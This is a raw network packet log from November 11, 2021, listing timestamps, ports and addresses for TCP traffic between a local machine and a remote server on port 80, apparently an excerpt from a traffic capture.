Nov 11, 2021 22:25:26.530778885 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530802965 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530806065 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530826092 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530832052 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530850887 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530854940 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530874014 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530898094 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530920982 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530944109 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530945063 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.530966997 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.530986071 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531003952 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531023026 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531042099 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531065941 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531090975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531105042 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531114101 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531133890 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531137943 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531162977 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531163931 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531186104 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531208992 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531236887 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531243086 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531261921 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531282902 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531301975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531313896 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531325102 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531348944 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531358957 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531379938 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531384945 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531409025 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531426907 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531434059 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531450033 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531464100 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531475067 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531498909 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531522036 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531544924 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531547070 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531569958 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531586885 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531594038 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531608105 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531618118 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531641006 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531661034 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531663895 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531687975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531698942 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531712055 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531734943 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531759977 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531764984 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531785965 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531795025 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531810045 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531832933 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531845093 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531857014 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531879902 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531903982 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531907082 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531927109 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531941891 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531949997 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531974077 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.531989098 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.531996965 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532020092 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532027960 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532042980 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532066107 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532078981 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532089949 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532114029 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532120943 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532136917 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532160997 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532169104 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532182932 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532210112 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532211065 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532234907 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532258034 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532265902 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532283068 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532305002 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532315016 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532330036 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532352924 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532354116 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532377005 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532399893 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532403946 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532443047 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532454967 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532466888 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532490969 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532514095 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532537937 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532561064 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532572985 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532583952 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532605886 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532608032 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532632113 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532665968 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532670975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532696009 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532742023 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532744884 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532768011 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532792091 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532797098 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532816887 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532841921 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532854080 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532876968 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532892942 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532897949 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532922029 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532946110 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532948017 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.532970905 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.532994986 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533010960 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533020020 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533044100 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533056021 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533068895 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533093929 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533094883 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533119917 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533144951 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533145905 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533170938 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533190012 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533196926 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533222914 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533240080 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533248901 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533272982 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533297062 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533298016 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533324003 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533349037 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533353090 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533374071 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533397913 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533400059 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533425093 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533447981 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533449888 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533474922 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533499002 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533499002 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533525944 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533550024 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533550024 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533575058 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533598900 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533601046 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533626080 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533648968 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533652067 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533674002 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533699989 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533720016 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533725977 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533749104 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533751011 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533775091 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533799887 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533808947 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533824921 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533843040 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533849955 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533874035 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533898115 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533902884 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533924103 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533946991 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533948898 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.533982038 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.533997059 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534006119 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534029007 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534048080 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534053087 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534075022 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534099102 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534104109 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534122944 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534147024 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534156084 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534172058 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534194946 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534218073 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534241915 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534246922 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534264088 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534287930 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534296989 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534313917 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534333944 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534336090 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534360886 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534384012 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534387112 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534406900 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534430981 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534437895 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534454107 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534476995 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534476995 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534502983 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534527063 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534531116 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534555912 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534579039 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534600973 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534605026 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534626007 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534630060 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534650087 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534672976 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534682035 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534698963 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534722090 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534750938 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534765005 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534775019 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534787893 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534811020 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534833908 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534857988 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534872055 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534883022 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534903049 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534905910 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534923077 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.534928083 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534953117 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534976959 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.534998894 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535022974 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535032034 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535047054 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535068989 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535080910 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535092115 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535115004 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535115957 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535139084 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535162926 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535162926 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535186052 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535211086 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535219908 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535234928 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535258055 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535259962 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535283089 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535305977 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535310030 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535330057 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535353899 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535362005 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535377026 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535401106 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535402060 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535423994 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535448074 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535453081 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535473108 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535495996 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535506010 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535520077 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535543919 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535546064 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535569906 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535593987 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535597086 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535618067 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535641909 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535649061 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535665989 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535690069 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535713911 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535738945 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535749912 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535804033 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535836935 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535861969 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535886049 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535907984 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535929918 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535938978 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535953999 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.535959005 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.535976887 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536000967 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536024094 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536029100 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536051035 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536055088 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536073923 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536098003 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536104918 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536122084 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536144972 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536147118 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536174059 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536196947 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536206007 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536220074 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536243916 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536268950 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536292076 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536294937 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536298990 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536314964 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536336899 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536340952 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536359072 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536381960 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536405087 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536411047 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536427975 CET	80	49775	104.21.92.165	192.168.2.5
Nov 11, 2021 22:25:26.536432028 CET	49775	80	192.168.2.5	104.21.92.165
Nov 11, 2021 22:25:26.536452055 CET	80	49775	104.21.92.165	192.168.2.5
